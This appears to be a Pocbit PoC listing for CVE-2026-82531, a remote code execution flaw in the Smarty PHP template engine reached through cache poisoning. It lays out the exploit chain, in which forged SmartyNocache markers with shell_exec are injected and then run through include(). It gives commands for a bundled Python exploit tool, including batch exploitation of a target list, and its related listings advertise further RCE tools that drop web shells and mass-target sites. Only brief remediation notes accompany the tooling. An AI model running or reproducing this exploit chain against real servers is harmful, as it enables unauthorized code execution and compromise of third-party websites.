CVE-2026-82531 — Smarty Template Cache Poisoning RCE (SmartyNocache / extends)
October 7, 2026 · 760 views
smarty-php/smarty <4.5.8 and 5.0.0–5.8.4: extends/inheritance + cache regen with null nocache_hash lets forged assign() data inject SmartyNocache markers into cache PHP → include() RCE. CWE-94, CVSS 4.0 9.2 Critical (AT:P). Fixed 4.5.8 / 5.8.5. Python PoC: check/exploit/payload, Docker lab 5.8.4, hits.txt & exploited.txt. Marker POCBIT-82531-OK.
Description
Overview
CVE-2026-82531 — Smarty PHP template engine (smarty-php/smarty) — code injection (CWE-94) via forged SmartyNocache markers in template cache files when using extends: / block inheritance.
| | | |---|---| | Affected | < 4.5.8; 5.0.0 – 5.8.4 | | Fixed | 4.5.8, 5.8.5 | | CVSS 4.0 | 9.2 Critical — AT:P (caching + extends + user-controlled assign) | | CVSS 3.1 | 8.1 High | | Verify marker | POCBIT-82531-OK (base64 command output in body) |
After a PHP worker loads compiled templates from disk, nocache_hash can be null during cache regeneration. Smarty_Internal_Runtime_UpdateCache then builds a regex with an empty alternative, so attacker assign() data can forge /*%%SmartyNocache:%%*/ <?php ... ?> /*/%%SmartyNocache:%% into the cache PHP file. The next include() of that cache executes injected PHP.
PoC page: https://pocbit.org/pocs/cve-2026-82531
GitHub: murrez/CVE-2026-82531
CVE.org: CVE-2026-82531
GHSA: GHSA-3w63-v7pm-cq9x
Exploit chain (PoC exploit)
| Phase | Action |
|-------|--------|
| 1 Warm | Benign assign → compile + initial cache |
| 2 Clear | Drop cache files (compiled templates remain); lab: ?lab_clear_cache=1 |
| 3 Poison | name= forged SmartyNocache + shell_exec |
| 4 Trigger | Benign request → include() runs PHP; body POCBIT-82531-OK: + base64 |
Production targets need caching on, extends templates, user-controlled assign, and a cache miss while compile dir is warm (TTL, restart, admin flush).
Bundled tool (Python 3 + Docker lab)
Download cve-2026-82531.py — extracts poc.py, requirements.txt, docker-compose.yml, and lab/ tree.
python cve-2026-82531.py
pip install -r requirements.txt
docker compose up --build -d
python poc.py check http://127.0.0.1:8088
python poc.py exploit --url http://127.0.0.1:8088 -c "id"
python poc.py exploit -i targets.example.txt -w 10 -c id
python poc.py payload -c "id"
After patching: delete/regenerate all template cache files.
Remediation
- Upgrade Smarty to ≥ 4.5.8 or ≥ 5.8.5 (Composer lockfile audit).
- Flush template cache after upgrade—not only compiled templates.
- Inventory apps embedding Smarty (CMS, shop themes, custom PHP).
Legal and ethical use
Authorized security testing only.
References
Related PoCs
Same platform, vendor, or tags — explore more write-ups on Pocbit.
- Web appCVE-2026-107806critical
CVE-2026-107806 — nginx-ui 2.3.8–2.4.x Authenticated RCE (Forged Backup Restore / TestConfigCmd)
0xJacky/nginx-ui >=2.3.8 <2.5.0: admin JWT can download backup, tamper app.ini TestConfigCmd in re-signed zip, POST /api/restore + /api/nginx/test → shell (CWE-94). CVSS 4.0 9.4 Critical PR:H. Not CVE-2026-42238. Fixed 2.5.0. Python PoC: check/exploit, batch url|JWT. Marker POCBIT-107806-OK.
- Web appCVE-2026-109618critical
CVE-2026-109618 / CVE-2026-109619 — PHP php2shell (session.upload_progress UAF)
PHP core php2shell pair: session.upload_progress multipart timing UAF (618 trigger + 619 offset RCE). CVSS 9.2. Python stdlib PoC: check GET fingerprint + bulk JSONL; exploit smart 618 multi-path or 619 --call. Patch 8.2.35/8.3.36/8.4.27/8.5.12+.
- Web appCVE-2026-106445critical
CVE-2026-106445 — Handlebars 4.0.0–4.7.9 RCE (Function.prototype.constructor Bypass)
handlebars 4.0.0–4.7.9: lookupProperty own-property order bypasses proto deny list → Function.prototype.constructor → sandbox escape when allowProtoMethodsByDefault:true and attacker-controlled compile (CWE-184/CWE-1289). CVSS 4.0 9.2 Critical AT:P. Fixed 4.7.10 GHSA-p8wg-vrv2-v86f. Python PoC: check/exploit, Docker lab, --render-path. Marker POCBIT-106445-OK.
- JoomlaCVE-2026-102425critical
CVE-2026-102425 — Joomla Balbooa Forms (com_baforms) Field Shortcode → Unauthenticated RCE
Balbooa Forms for Joomla 1.0.0–2.4.3.3: when a public form runs PHP-after-submission via eval(), field shortcodes are replaced with raw visitor input inside double-quoted PHP — classic ";breakout;// → RCE. CVSS 4.0 9.5 Critical (AT:P). Fixed in 2.4.3.4. Not CVE-2026-67364. Python PoC: version + public form detect, check/exploit, up.php drop, interactive + mass -j.